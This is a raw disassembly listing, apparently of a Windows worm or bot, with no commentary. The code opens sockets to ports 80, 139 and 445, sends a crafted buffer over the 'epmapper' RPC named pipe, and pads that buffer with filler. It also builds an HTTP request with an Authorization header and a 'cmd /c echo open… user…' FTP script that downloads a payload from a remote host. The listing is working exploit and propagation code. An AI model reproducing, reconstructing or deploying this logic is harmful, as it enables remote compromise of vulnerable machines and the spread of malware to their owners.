eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_434DC0[eax] push eax push 1 call sub_40D66E inc esi cmp esi, [ebp-1Ch] jb short loc_40D341 loc_40D35D: ; CODE XREF: sub_40D241+FBj cmp dword ptr [ebp-18h], 48h jb short loc_40D37B push dword ptr [ebp+14h] call sub_41B650 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D6C8 mov [ebp-18h], edi loc_40D37B: ; CODE XREF: sub_40D241+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D395 sub esi, [ebp-1Ch] loc_40D386: ; CODE XREF: sub_40D241+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D66E dec esi jnz short loc_40D386 loc_40D395: ; CODE XREF: sub_40D241+140j cmp [ebp+10h], edi ja loc_40D292 xor ebx, ebx inc ebx loc_40D3A1: ; CODE XREF: sub_40D241+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D873 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_40D720 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D873 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D241 endp ; =============== S U B R O U T I N E ======================================= sub_40D3E0 proc near ; CODE XREF: .XPack0:0040D5DDp mov eax, offset loc_427548 call sub_41D2D0 sub esp, 10h push ebx push esi push edi push offset byte_4404C4 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D241 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BB45 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D42A xor bl, bl jmp short loc_40D46E ; --------------------------------------------------------------------------- loc_40D42A: ; CODE XREF: sub_40D3E0+44j mov ecx, [ebp-18h] mov eax, offset dword_428690 cmp ecx, ebx jnz short loc_40D438 mov ecx, eax loc_40D438: ; CODE XREF: sub_40D3E0+54j cmp [ebp+18h], ebx jz short loc_40D440 mov eax, [ebp+18h] loc_40D440: ; CODE XREF: sub_40D3E0+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41BFF0 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CE358 ; send cmp eax, esi jz short loc_40D465 xor bl, bl jmp short loc_40D467 ; --------------------------------------------------------------------------- loc_40D465: ; CODE XREF: sub_40D3E0+7Fj mov bl, 1 loc_40D467: ; CODE XREF: sub_40D3E0+83j push edi call sub_41B721 pop ecx loc_40D46E: ; CODE XREF: sub_40D3E0+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D873 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D873 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D3E0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_434F70 push eax call near ptr sub_41C9B0 add esp, 0Ch mov eax, offset byte_42AA54 push eax push eax movzx eax, word ptr dword_4CE048 push eax push dword ptr [ebp+8] call sub_40A8D5 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41BFF0 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_434E08 push eax call sub_40CCAA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D539 xor eax, eax jmp loc_40D661 ; --------------------------------------------------------------------------- loc_40D539: ; CODE XREF: .XPack0:0040D530j mov [ebp-0Ch], esi loc_40D53C: ; CODE XREF: .XPack0:0040D63Cj test esi, esi jnz loc_40D642 push 6 push 1 push 2 call dword_42821C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D62A xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CE308 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CE348 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jz loc_40D61F cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D5E7 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D873 lea eax, [ebp+0Ch] push eax call sub_41B650 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D8AB push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D3E0 add esp, 1Ch jmp short loc_40D61C ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: .XPack0:0040D5A5j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D601 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1A3 jmp short loc_40D619 ; --------------------------------------------------------------------------- loc_40D601: ; CODE XREF: .XPack0:0040D5F1j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D61F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D0C4 loc_40D619: ; CODE XREF: .XPack0:0040D5FFj add esp, 0Ch loc_40D61C: ; CODE XREF: .XPack0:0040D5E5j movzx esi, al loc_40D61F: ; CODE XREF: .XPack0:0040D598j ; .XPack0:0040D60Bj push ebx call dword_4CE3A0 ; closesocket test esi, esi jnz short loc_40D635 loc_40D62A: ; CODE XREF: .XPack0:0040D555j push 3E8h call dword_428080 ; Sleep loc_40D635: ; CODE XREF: .XPack0:0040D628j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D53C loc_40D642: ; CODE XREF: .XPack0:0040D53Ej lea ecx, [ebp-8] call sub_40CAD7 test esi, esi jz short loc_40D65F mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_434060[eax] inc dword ptr [eax] loc_40D65F: ; CODE XREF: .XPack0:0040D64Cj mov eax, esi loc_40D661: ; CODE XREF: .XPack0:0040D534j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750C loc_40D666: ; CODE XREF: sub_42750C+3j ; .XPack0:00427525j ... push 1 call sub_40D873 retn ; END OF FUNCTION CHUNK FOR sub_42750C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D66E proc near ; CODE XREF: sub_40D241+111p ; sub_40D241+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_40D685 call sub_426D4A loc_40D685: ; CODE XREF: sub_40D66E+10j cmp [ebp+arg_0], 0 jbe short loc_40D6C0 mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40D7ED test al, al jz short loc_40D6C0 movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BC00 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D6C0: ; CODE XREF: sub_40D66E+1Bj ; sub_40D66E+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40D66E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6C8 proc near ; CODE XREF: sub_40D241+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_40D6DF call sub_426D4A loc_40D6DF: ; CODE XREF: sub_40D6C8+10j cmp [ebp+arg_4], 0 jbe short loc_40D718 mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40D7ED test al, al jz short loc_40D718 push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call near ptr sub_41C9B0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D718: ; CODE XREF: sub_40D6C8+1Bj ; sub_40D6C8+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40D6C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D720 proc near ; CODE XREF: sub_40D241+179p ; sub_426C60+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D738 call sub_426C23 loc_40D738: ; CODE XREF: sub_40D720+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D74A mov esi, [ebp+arg_8] loc_40D74A: ; CODE XREF: sub_40D720+25j cmp edi, ebx jnz short loc_40D768 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_40D8E0 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D8E0 jmp short loc_40D7E4 ; --------------------------------------------------------------------------- loc_40D768: ; CODE XREF: sub_40D720+2Cj test esi, esi jbe short loc_40D7AB cmp esi, eax jnz short loc_40D7AB mov eax, [ebx+4] test eax, eax jnz short loc_40D77C mov eax, offset dword_428690 loc_40D77C: ; CODE XREF: sub_40D720+55j cmp byte ptr [eax-1], 0FEh jnb short loc_40D7AB push 1 mov ecx, edi call sub_40D873 mov eax, [ebx+4] test eax, eax jnz short loc_40D797 mov eax, offset dword_428690 loc_40D797: ; CODE XREF: sub_40D720+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D7E4 ; --------------------------------------------------------------------------- loc_40D7AB: ; CODE XREF: sub_40D720+4Aj ; sub_40D720+4Ej ... push 1 push esi mov ecx, edi call sub_40D7ED test al, al jz short loc_40D7E4 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_40D7C8 mov eax, offset dword_428690 loc_40D7C8: ; CODE XREF: sub_40D720+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call near ptr sub_41C9B0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D7E4: ; CODE XREF: sub_40D720+46j ; sub_40D720+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D720 endp ; =============== S U B R O U T I N E ======================================= sub_40D7ED proc near ; CODE XREF: sub_40D241+3Dp ; sub_40D66E+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D7FF call sub_426D4A loc_40D7FF: ; CODE XREF: sub_40D7ED+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_40D827 mov cl, [eax-1] cmp cl, dl jz short loc_40D827 cmp cl, 0FFh jz short loc_40D827 cmp edi, edx mov ecx, esi jnz short loc_40D866 dec byte ptr [eax-1] push edx loc_40D81E: ; CODE XREF: sub_40D7ED+48j call sub_40D873 loc_40D823: ; CODE XREF: sub_40D7ED+4Cj ; sub_40D7ED+53j xor al, al jmp short loc_40D86E ; --------------------------------------------------------------------------- loc_40D827: ; CODE XREF: sub_40D7ED+19j ; sub_40D7ED+20j ... cmp edi, edx jnz short loc_40D842 cmp [esp+8+arg_4], dl jz short loc_40D837 push 1 mov ecx, esi jmp short loc_40D81E ; --------------------------------------------------------------------------- loc_40D837: ; CODE XREF: sub_40D7ED+42j cmp eax, edx jz short loc_40D823 mov [esi+8], edx mov [eax], dl jmp short loc_40D823 ; --------------------------------------------------------------------------- loc_40D842: ; CODE XREF: sub_40D7ED+3Cj cmp [esp+8+arg_4], dl jz short loc_40D85F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D854 cmp eax, edi jnb short loc_40D86C loc_40D854: ; CODE XREF: sub_40D7ED+61j push 1 mov ecx, esi call sub_40D873 jmp short loc_40D864 ; --------------------------------------------------------------------------- loc_40D85F: ; CODE XREF: sub_40D7ED+59j cmp [esi+0Ch], edi jnb short loc_40D86C loc_40D864: ; CODE XREF: sub_40D7ED+70j mov ecx, esi loc_40D866: ; CODE XREF: sub_40D7ED+2Bj push edi call sub_40D947 loc_40D86C: ; CODE XREF: sub_40D7ED+65j ; sub_40D7ED+75j mov al, 1 loc_40D86E: ; CODE XREF: sub_40D7ED+38j pop edi pop esi retn 8 sub_40D7ED endp ; =============== S U B R O U T I N E ======================================= sub_40D873 proc near ; CODE XREF: sub_40D241+1Fp ; sub_40D241+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D89B mov eax, [esi+4] test eax, eax jz short loc_40D89B dec eax mov cl, [eax] test cl, cl jz short loc_40D894 cmp cl, 0FFh jz short loc_40D894 dec byte ptr [eax] jmp short loc_40D89B ; --------------------------------------------------------------------------- loc_40D894: ; CODE XREF: sub_40D873+16j ; sub_40D873+1Bj push eax call sub_41D2EF pop ecx loc_40D89B: ; CODE XREF: sub_40D873+8j ; sub_40D873+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D873 endp ; =============== S U B R O U T I N E ======================================= sub_40D8AB proc near ; CODE XREF: .XPack0:0040D5D1p ; sub_40DA04+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40D7ED test al, al jz short loc_40D8D9 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call near ptr sub_41C9B0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D8D9: ; CODE XREF: sub_40D8AB+12j mov eax, esi pop edi pop esi retn 8 sub_40D8AB endp ; =============== S U B R O U T I N E ======================================= sub_40D8E0 proc near ; CODE XREF: sub_40D720+35p ; sub_40D720+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D8F3 call sub_426C23 loc_40D8F3: ; CODE XREF: sub_40D8E0+Cj mov ecx, edi call sub_40DA04 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D909 mov ebx, eax loc_40D909: ; CODE XREF: sub_40D8E0+25j test ebx, ebx jbe short loc_40D93F mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D300 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D7ED test al, al jz short loc_40D93F mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D93F: ; CODE XREF: sub_40D8E0+2Bj ; sub_40D8E0+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D8E0 endp ; =============== S U B R O U T I N E ======================================= sub_40D947 proc near ; CODE XREF: sub_40D7ED+7Ap mov eax, offset loc_427554 call sub_41D2D0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D96D mov edi, [ebp+8] loc_40D96D: ; CODE XREF: sub_40D947+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D97A xor eax, eax loc_40D97A: ; CODE XREF: sub_40D947+2Fj push eax call sub_41D635 pop ecx mov [ebp+8], eax jmp short loc_40D9AB ; --------------------------------------------------------------------------- loc_40D986: ; DATA XREF: .XPack0:00428FA8o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D995 xor eax, eax loc_40D995: ; CODE XREF: sub_40D947+4Aj push eax call sub_41D635 mov [ebp+8], eax pop ecx mov eax, offset loc_40D9A5 retn ; --------------------------------------------------------------------------- loc_40D9A5: ; DATA XREF: sub_40D947+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D9AB: ; CODE XREF: sub_40D947+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D9C9 cmp eax, edi jbe short loc_40D9B8 mov eax, edi loc_40D9B8: ; CODE XREF: sub_40D947+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call near ptr sub_41C9B0 add esp, 0Ch loc_40D9C9: ; CODE XREF: sub_40D947+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D873 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D9E9 mov edi, ebx loc_40D9E9: ; CODE XREF: sub_40D947+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D947 endp ; =============== S U B R O U T I N E ======================================= sub_40DA04 proc near ; CODE XREF: sub_40D8E0+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DA31 mov al, [esi-1] test al, al jz short loc_40DA31 cmp al, 0FFh jz short loc_40DA31 push 1 call sub_40D873 push esi call sub_41B650 pop ecx push eax push esi mov ecx, edi call sub_40D8AB loc_40DA31: ; CODE XREF: sub_40DA04+9j ; sub_40DA04+10j ... pop edi pop esi retn sub_40DA04 endp ; =============== S U B R O U T I N E ======================================= sub_40DA34 proc near ; DATA XREF: .XPack0:0042A008o test byte_4DE8E4, 1 jnz short loc_40DA44 or byte_4DE8E4, 1 loc_40DA44: ; CODE XREF: sub_40DA34+7j jmp $+5 push offset nullsub_1 call sub_41D6B0 pop ecx retn sub_40DA34 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA56 proc near ; CODE XREF: .XPack0:0040DE67p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_4355C0 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_4355B8 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_4404C4 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_4280E8 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D6F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D6F1 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4D1010 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CE3A8 cmp eax, 5 mov ebx, 4C3h jz short loc_40DB1A cmp eax, ebx jnz short loc_40DB24 loc_40DB1A: ; CODE XREF: sub_40DA56+BEj push edi push edi push edi push esi call dword_4CE3A8 loc_40DB24: ; CODE XREF: sub_40DA56+C2j cmp eax, 5 jz short loc_40DB32 cmp eax, ebx jz short loc_40DB32 xor eax, eax inc eax jmp short loc_40DB34 ; --------------------------------------------------------------------------- loc_40DB32: ; CODE XREF: sub_40DA56+D1j ; sub_40DA56+D5j xor eax, eax loc_40DB34: ; CODE XREF: sub_40DA56+DAj pop edi pop esi pop ebx leave retn sub_40DA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB39 proc near ; CODE XREF: .XPack0:0040DEB9p ; .XPack0:0040DF99p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_4355C0 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_4355B8 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_4404C4 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_4280E8 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D6F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D6F1 add esp, 10h jmp short loc_40DBD7 ; --------------------------------------------------------------------------- loc_40DBCC: ; CODE XREF: sub_40DB39+AFj push 7D0h call dword_428080 ; Sleep loc_40DBD7: ; CODE XREF: sub_40DB39+91j push esi lea eax, [ebp+var_354] push esi push eax call dword_4CE240 test eax, eax jnz short loc_40DBCC pop edi inc eax pop esi leave retn sub_40DB39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBEF proc near ; CODE XREF: .XPack0:0040DEE5p ; .XPack0:0040E026p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C190 push esi push edi push offset byte_42AA54 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B0CB mov edi, eax add esp, 10h test edi, edi jz loc_40DE3B push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call near ptr sub_41C9B0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BC00 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call near ptr sub_41C9B0 lea esi, [edi+0D7h] jmp short loc_40DCB1 ; --------------------------------------------------------------------------- loc_40DC73: ; CODE XREF: sub_40DBEF+D0j mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call near ptr sub_41C9B0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BC00 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call near ptr sub_41C9B0 lea esi, [esi+edi+30h] loc_40DCB1: ; CODE XREF: sub_40DBEF+82j add esp, 24h mov eax, esi cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jnz short loc_40DC73 cmp [ebp+arg_C4], 0 jz short loc_40DCDC cmp [ebp+arg_C0], 3 jz short loc_40DCE5 cmp [ebp+arg_C0], 0 jmp short loc_40DCE3 ; --------------------------------------------------------------------------- loc_40DCDC: ; CODE XREF: sub_40DBEF+D9j cmp [ebp+arg_C0], 3 loc_40DCE3: ; CODE XREF: sub_40DBEF+EBj jnz short loc_40DCEE loc_40DCE5: ; CODE XREF: sub_40DBEF+E2j push 4 push offset dword_4355B4 jmp short loc_40DCF5 ; --------------------------------------------------------------------------- loc_40DCEE: ; CODE XREF: sub_40DBEF:loc_40DCE3j push 4 push offset dword_4355B0 loc_40DCF5: ; CODE XREF: sub_40DBEF+FDj lea eax, [ebp+var_1FE0] push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_4350E8 push eax call near ptr sub_41C9B0 push 10h lea eax, [ebp+var_CA4] push offset dword_43544C push eax call near ptr sub_41C9B0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call near ptr sub_41C9B0 lea edi, [esi+370h] push 3Ch push offset off_435460 lea eax, [ebp+edi+var_1004] push eax call near ptr sub_41C9B0 add edi, 3Ch push 30h push offset dword_4354A0 lea eax, [ebp+edi+var_1004] push eax call near ptr sub_41C9B0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BB45 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BC00 lea eax, [ebp+var_1004] push edi push eax push ebx call near ptr sub_41C9B0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DE3B: ; CODE XREF: sub_40DBEF+3Ej pop edi pop esi leave retn sub_40DBEF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C190 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40DFAD lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DA56 pop ecx test eax, eax pop ecx jz loc_40E0BD lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41BEF6 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_4280F8 ; CreateFileA mov [ebp-4], eax cmp eax, 0FFFFFFFFh lea eax, [ebp+0Ch] jnz short loc_40DEC4 loc_40DEB8: ; CODE XREF: .XPack0:0040DF65j push eax call sub_40DB39 pop ecx jmp loc_40E0BD ; --------------------------------------------------------------------------- loc_40DEC4: ; CODE XREF: .XPack0:0040DEB6j push 2 push eax call sub_418416 pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DBEF add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40DF59 mov edi, 186A0h push edi call sub_41BB45 mov esi, eax push edi push ebx push esi call sub_41BC00 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_435098 push dword ptr [ebp-4] call dword_4280F4 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_40DF49 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call dword_4280F0 ; WriteFile test eax, eax jnz short loc_40DF6A loc_40DF49: ; CODE XREF: .XPack0:0040DF2Fj push esi call sub_41B721 push dword ptr [ebp-8] call sub_41B721 pop ecx pop ecx loc_40DF59: ; CODE XREF: .XPack0:0040DEF5j push dword ptr [ebp-4] call dword_428070 ; CloseHandle lea eax, [ebp+0Ch] jmp loc_40DEB8 ; --------------------------------------------------------------------------- loc_40DF6A: ; CODE XREF: .XPack0:0040DF47j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call dword_4280EC ; ReadFile push dword ptr [ebp-8] mov edi, eax call sub_41B721 push esi call sub_41B721 pop ecx pop ecx push dword ptr [ebp-4] call dword_428070 ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40DB39 cmp edi, 1 pop ecx jnz loc_40E0D1 jmp loc_40E0BD ; --------------------------------------------------------------------------- loc_40DFAD: ; CODE XREF: .XPack0:0040DE59j lea eax, [ebp+0Ch] push 1 push eax call sub_418416 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E0BD xor ebx, ebx push ebx push 1 push 2 call dword_4CE388 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz 